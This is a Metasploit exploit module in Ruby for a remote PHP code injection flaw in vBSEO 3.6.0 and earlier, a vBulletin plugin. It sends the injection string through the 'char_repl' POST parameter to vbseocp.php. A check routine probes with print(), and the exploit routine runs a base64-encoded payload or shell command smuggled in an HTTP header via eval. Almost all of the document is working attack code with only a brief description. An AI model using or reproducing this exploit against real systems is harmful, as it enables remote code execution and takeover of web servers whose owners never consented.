vBSEO 3.6.0 - 'proc_deutf()' Remote PHP Code Injection (Metasploit)

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection',
			'Description'    => %q{
					This module exploits a vulnerability in the 'proc_deutf()' function
				defined in /includes/functions_vbseocp_abstract.php. User input passed through
				'char_repl' POST parameter isn't properly sanitized before being used in a call
				to preg_replace() function which uses the 'e' modifier. This can be exploited to
				inject and execute arbitrary code leveraging the PHP's complex curly syntax.
			},
			'Author'         => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['BID', '51647'],
					['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 8190,
					'Keys'        => ['php'],
				},
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jan 23 2012',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
				], self.class)
	end

	def check
		flag = rand_text_alpha(rand(10)+10)
		data = "char_repl='{${print(#{flag})}}'=>"

		uri = ''
		uri << datastore['URI']
		uri << '/' if uri[-1,1] != '/'
		uri << 'vbseocp.php'

		response = send_request_cgi({
			'method' => "POST",
			'uri' => uri,
			'data' => "#{data}"
		})

		if response.code == 200 and response.body =~ /#{flag}/
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		if datastore['CMD']
			p = "passthru(\"%s\");" % datastore['CMD']
			p = Rex::Text.encode_base64(p)
		else
			p = Rex::Text.encode_base64(payload.encoded)
		end

		data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"

		uri = ''
		uri << datastore['URI']
		uri << '/' if uri[-1,1] != '/'
		uri << 'vbseocp.php'

		response = send_request_cgi({
			'method' => 'POST',
			'uri' => uri,
			'data' => data,
			'headers' => { 'Code' => p }
		})

		print_status("%s" % response.body) if datastore['CMD']
	end

end